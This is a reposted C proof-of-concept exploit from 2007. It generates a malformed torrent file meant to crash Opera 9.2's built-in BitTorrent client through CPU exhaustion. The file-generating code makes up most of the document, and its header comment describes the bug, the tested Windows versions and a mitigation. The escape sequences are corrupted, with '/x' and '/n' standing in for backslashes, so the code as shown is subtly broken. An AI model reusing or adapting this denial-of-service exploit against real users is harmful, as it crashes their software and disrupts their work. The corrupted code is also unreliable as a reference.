0pera 9.2 torrent file remote dos exploit 's

来源：Security vulnerabilities
/************************************************************************

* Created Date :April 23 2007
*
* Credits go to n00b for finding this vulnerability and writing p0c.
* Moderator of http://igniteds.net
*
* 0pera 9.2 torrent file remote dos exploit.
*
* opera has its own bit torrent client with-in the web browser
* it is possible to crash opera with a malformed torrent file
* causing denial of service to legitimate users..Opera will
* use 100% cpu till the inevitable happens..Which will be a crash
* To fix this problem disable the bitorrent with in opera..
*
* Tested : win xp service pack 1 and 2
*
* I wasn't able to catch any debugging info I'm afraid maybe some one
* else can give it a go.
*
* All i was able to get from drwatson pmsl was.
************************************************************************

* Application exception occurred:
* App: C:/Program Files/Opera/Opera.exe (pid=1084)
* When: 4/22/2007 @ 14:55:29.296
* Exception number: 80000003 (hard coded breakpoint)
************************************************************************

* Seams like some sort of memory leak with the bitorrent client
* of opera..
************************************************************************

********************************
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

char header[] = "/x64/x38";

char My_buff[] =
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41"
"/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41";

char trailing_buff[] =
"/x36/x31/x3a/x09/x44/x69/x65/x20/x6f/x70/x65/x72/x61"
"/x20/x79/x6f/x75/x20/x73/x6c/x75/x74";

int main(int argc,char* argv[])
{
system("cls");

printf("/n *************************************************");
printf("/n * Opera torrent file dos exploit by n00b *");
printf("/n *************************************************");
printf("/n * Shouts to every one at milw0rm *");
printf("/n *************************************************");
printf("/n * Special thanks to str0ke *");
printf("/n * *");
printf("/n * Date :Aprill 23 2007 *");
printf("/n *************************************************");
printf("/n * CREDITS TO n00b FOR FINDING THIS BUG *");
printf("/n *************************************************");

if ( argc!=2 )
{
usage(argv[0]);
}

FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("/nFuck some thing went wrong :D");
exit(1);
}

printf("/n/nMaking torrent file...");

fwrite(header,1,sizeof(header),f);

fwrite(My_buff,1,sizeof(My_buff),f);

fwrite(trailing_buff,1,sizeof(trailing_buff),f);

printf("/nDone hoooooha!");
printf("/n ");
printf("/n0h noes memory leak pmsl !!");
return 0;
}

void usage(char* file)
{

printf("/n/nusage: n00b.exe opera.torrent");
exit(1);
}